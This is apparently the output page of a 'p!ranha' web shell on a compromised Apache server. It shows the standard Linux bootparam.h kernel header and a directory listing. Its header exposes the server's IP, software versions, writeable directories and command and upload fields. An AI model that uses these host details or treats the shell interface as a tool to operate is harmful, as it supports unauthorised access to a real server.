p!ranha?
Server IP : 103.169.32.36  /  Your IP : 216.73.217.13
Web Server : Apache
System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/include/asm/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /usr/include/asm/bootparam.h
#ifndef _ASM_X86_BOOTPARAM_H
#define _ASM_X86_BOOTPARAM_H

/* setup_data types */
#define SETUP_NONE			0
#define SETUP_E820_EXT			1
#define SETUP_DTB			2
#define SETUP_PCI			3
#define SETUP_EFI			4

/* ram_size flags */
#define RAMDISK_IMAGE_START_MASK	0x07FF
#define RAMDISK_PROMPT_FLAG		0x8000
#define RAMDISK_LOAD_FLAG		0x4000

/* loadflags */
#define LOADED_HIGH	(1<<0)
#define KASLR_FLAG	(1<<1)
#define QUIET_FLAG	(1<<5)
#define KEEP_SEGMENTS	(1<<6)
#define CAN_USE_HEAP	(1<<7)

/* xloadflags */
#define XLF_KERNEL_64			(1<<0)
#define XLF_CAN_BE_LOADED_ABOVE_4G	(1<<1)
#define XLF_EFI_HANDOVER_32		(1<<2)
#define XLF_EFI_HANDOVER_64		(1<<3)
#define XLF_EFI_KEXEC			(1<<4)

#ifndef __ASSEMBLY__

#include <linux/types.h>
#include <linux/screen_info.h>
#include <linux/apm_bios.h>
#include <linux/edd.h>
#include <asm/e820.h>
#include <asm/ist.h>
#include <video/edid.h>

/* extensible setup data list node */
struct setup_data {
	__u64 next;
	__u32 type;
	__u32 len;
	__u8 data[0];
};

struct setup_header {
	__u8	setup_sects;
	__u16	root_flags;
	__u32	syssize;
	__u16	ram_size;
	__u16	vid_mode;
	__u16	root_dev;
	__u16	boot_flag;
	__u16	jump;
	__u32	header;
	__u16	version;
	__u32	realmode_swtch;
	__u16	start_sys;
	__u16	kernel_version;
	__u8	type_of_loader;
	__u8	loadflags;
	__u16	setup_move_size;
	__u32	code32_start;
	__u32	ramdisk_image;
	__u32	ramdisk_size;
	__u32	bootsect_kludge;
	__u16	heap_end_ptr;
	__u8	ext_loader_ver;
	__u8	ext_loader_type;
	__u32	cmd_line_ptr;
	__u32	initrd_addr_max;
	__u32	kernel_alignment;
	__u8	relocatable_kernel;
	__u8	min_alignment;
	__u16	xloadflags;
	__u32	cmdline_size;
	__u32	hardware_subarch;
	__u64	hardware_subarch_data;
	__u32	payload_offset;
	__u32	payload_length;
	__u64	setup_data;
	__u64	pref_address;
	__u32	init_size;
	__u32	handover_offset;
} __attribute__((packed));

struct sys_desc_table {
	__u16 length;
	__u8  table[14];
};

/* Gleaned from OFW's set-parameters in cpu/x86/pc/linux.fth */
struct olpc_ofw_header {
	__u32 ofw_magic;	/* OFW signature */
	__u32 ofw_version;
	__u32 cif_handler;	/* callback into OFW */
	__u32 irq_desc_table;
} __attribute__((packed));

struct efi_info {
	__u32 efi_loader_signature;
	__u32 efi_systab;
	__u32 efi_memdesc_size;
	__u32 efi_memdesc_version;
	__u32 efi_memmap;
	__u32 efi_memmap_size;
	__u32 efi_systab_hi;
	__u32 efi_memmap_hi;
};

/* The so-called "zeropage" */
struct boot_params {
	struct screen_info screen_info;			/* 0x000 */
	struct apm_bios_info apm_bios_info;		/* 0x040 */
	__u8  _pad2[4];					/* 0x054 */
	__u64  tboot_addr;				/* 0x058 */
	struct ist_info ist_info;			/* 0x060 */
	__u8  _pad3[16];				/* 0x070 */
	__u8  hd0_info[16];	/* obsolete! */		/* 0x080 */
	__u8  hd1_info[16];	/* obsolete! */		/* 0x090 */
	struct sys_desc_table sys_desc_table;		/* 0x0a0 */
	struct olpc_ofw_header olpc_ofw_header;		/* 0x0b0 */
	__u32 ext_ramdisk_image;			/* 0x0c0 */
	__u32 ext_ramdisk_size;				/* 0x0c4 */
	__u32 ext_cmd_line_ptr;				/* 0x0c8 */
	__u8  _pad4[116];				/* 0x0cc */
	struct edid_info edid_info;			/* 0x140 */
	struct efi_info efi_info;			/* 0x1c0 */
	__u32 alt_mem_k;				/* 0x1e0 */
	__u32 scratch;		/* Scratch field! */	/* 0x1e4 */
	__u8  e820_entries;				/* 0x1e8 */
	__u8  eddbuf_entries;				/* 0x1e9 */
	__u8  edd_mbr_sig_buf_entries;			/* 0x1ea */
	__u8  kbd_status;				/* 0x1eb */
	__u8  secure_boot;				/* 0x1ec */
	__u8  _pad5[2];					/* 0x1ed */
	/*
	 * The sentinel is set to a nonzero value (0xff) in header.S.
	 *
	 * A bootloader is supposed to only take setup_header and put
	 * it into a clean boot_params buffer. If it turns out that
	 * it is clumsy or too generous with the buffer, it most
	 * probably will pick up the sentinel variable too. The fact
	 * that this variable then is still 0xff will let kernel
	 * know that some variables in boot_params are invalid and
	 * kernel should zero out certain portions of boot_params.
	 */
	__u8  sentinel;					/* 0x1ef */
	__u8  _pad6[1];					/* 0x1f0 */
	struct setup_header hdr;    /* setup header */	/* 0x1f1 */
	__u8  _pad7[0x290-0x1f1-sizeof(struct setup_header)];
	__u32 edd_mbr_sig_buffer[EDD_MBR_SIG_MAX];	/* 0x290 */
	struct e820entry e820_map[E820MAX];		/* 0x2d0 */
	__u8  _pad8[48];				/* 0xcd0 */
	struct edd_info eddbuf[EDDMAXNR];		/* 0xd00 */
	__u8  _pad9[276];				/* 0xeec */
} __attribute__((packed));

enum {
	X86_SUBARCH_PC = 0,
	X86_SUBARCH_LGUEST,
	X86_SUBARCH_XEN,
	X86_SUBARCH_MRST,
	X86_SUBARCH_CE4100,
	X86_NR_SUBARCHS,
};

#endif /* __ASSEMBLY__ */

#endif /* _ASM_X86_BOOTPARAM_H */
N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
September 29 2025 07:00:20
0 / 0
0755
a.out.h
0.677 KB
June 04 2024 14:55:01
0 / 0
0644
auxvec.h
0.472 KB
June 04 2024 14:55:01
0 / 0
0644
bitsperlong.h
0.224 KB
June 04 2024 14:55:01
0 / 0
0644
boot.h
0.254 KB
June 04 2024 14:55:01
0 / 0
0644
bootparam.h
4.394 KB
June 04 2024 14:55:01
0 / 0
0644
bpf_perf_event.h
0.039 KB
June 04 2024 14:55:01
0 / 0
0644
byteorder.h
0.134 KB
June 04 2024 14:55:01
0 / 0
0644
debugreg.h
3.146 KB
June 04 2024 14:55:01
0 / 0
0644
e820.h
2.63 KB
June 04 2024 14:55:01
0 / 0
0644
errno.h
0.03 KB
June 04 2024 14:55:01
0 / 0
0644
fcntl.h
0.03 KB
June 04 2024 14:55:01
0 / 0
0644
hw_breakpoint.h
0.006 KB
June 04 2024 14:55:01
0 / 0
0644
hyperv.h
12.984 KB
June 04 2024 14:55:01
0 / 0
0644
ioctl.h
0.03 KB
June 04 2024 14:55:01
0 / 0
0644
ioctls.h
0.031 KB
June 04 2024 14:55:01
0 / 0
0644
ipcbuf.h
0.031 KB
June 04 2024 14:55:01
0 / 0
0644
ist.h
0.771 KB
June 04 2024 14:55:01
0 / 0
0644
kvm.h
6.806 KB
June 04 2024 14:55:01
0 / 0
0644
kvm_para.h
2.801 KB
June 04 2024 14:55:01
0 / 0
0644
kvm_perf.h
0.317 KB
June 04 2024 14:55:01
0 / 0
0644
ldt.h
0.94 KB
June 04 2024 14:55:01
0 / 0
0644
mce.h
1.219 KB
June 04 2024 14:55:01
0 / 0
0644
mman.h
1.01 KB
June 04 2024 14:55:01
0 / 0
0644
msgbuf.h
0.031 KB
June 04 2024 14:55:01
0 / 0
0644
msr-index.h
29.037 KB
June 04 2024 14:55:01
0 / 0
0644
msr.h
0.276 KB
June 04 2024 14:55:01
0 / 0
0644
mtrr.h
4.063 KB
June 04 2024 14:55:01
0 / 0
0644
param.h
0.03 KB
June 04 2024 14:55:01
0 / 0
0644
perf_regs.h
1.24 KB
June 04 2024 14:55:01
0 / 0
0644
poll.h
0.029 KB
June 04 2024 14:55:01
0 / 0
0644
posix_types.h
0.157 KB
June 04 2024 14:55:01
0 / 0
0644
posix_types_32.h
0.686 KB
June 04 2024 14:55:01
0 / 0
0644
posix_types_64.h
0.533 KB
June 04 2024 14:55:01
0 / 0
0644
posix_types_x32.h
0.506 KB
June 04 2024 14:55:01
0 / 0
0644
prctl.h
0.186 KB
June 04 2024 14:55:01
0 / 0
0644
processor-flags.h
6.316 KB
June 04 2024 14:55:01
0 / 0
0644
ptrace-abi.h
1.756 KB
June 04 2024 14:55:01
0 / 0
0644
ptrace.h
1.165 KB
June 04 2024 14:55:01
0 / 0
0644
resource.h
0.033 KB
June 04 2024 14:55:01
0 / 0
0644
sembuf.h
0.683 KB
June 04 2024 14:55:01
0 / 0
0644
setup.h
0.006 KB
June 04 2024 14:55:01
0 / 0
0644
shmbuf.h
0.031 KB
June 04 2024 14:55:01
0 / 0
0644
sigcontext.h
5.106 KB
June 04 2024 14:55:01
0 / 0
0644
sigcontext32.h
1.645 KB
June 04 2024 14:55:01
0 / 0
0644
siginfo.h
0.421 KB
June 04 2024 14:55:01
0 / 0
0644
signal.h
2.771 KB
June 04 2024 14:55:01
0 / 0
0644
socket.h
0.031 KB
June 04 2024 14:55:01
0 / 0
0644
sockios.h
0.032 KB
June 04 2024 14:55:01
0 / 0
0644
stat.h
2.893 KB
June 04 2024 14:55:01
0 / 0
0644
statfs.h
0.345 KB
June 04 2024 14:55:01
0 / 0
0644
svm.h
5.09 KB
June 04 2024 14:55:01
0 / 0
0644
swab.h
0.646 KB
June 04 2024 14:55:01
0 / 0
0644
termbits.h
0.033 KB
June 04 2024 14:55:01
0 / 0
0644
termios.h
0.032 KB
June 04 2024 14:55:01
0 / 0
0644
types.h
0.11 KB
June 04 2024 14:55:01
0 / 0
0644
ucontext.h
0.331 KB
June 04 2024 14:55:01
0 / 0
0644
unistd.h
0.289 KB
June 04 2024 14:55:01
0 / 0
0644
unistd_32.h
9.368 KB
June 04 2024 14:55:01
0 / 0
0644
unistd_64.h
8.587 KB
June 04 2024 14:55:01
0 / 0
0644
unistd_x32.h
15.115 KB
June 04 2024 14:55:01
0 / 0
0644
vm86.h
2.983 KB
June 04 2024 14:55:01
0 / 0
0644
vmx.h
6.529 KB
June 04 2024 14:55:01
0 / 0
0644
vsyscall.h
0.366 KB
June 04 2024 14:55:01
0 / 0
0644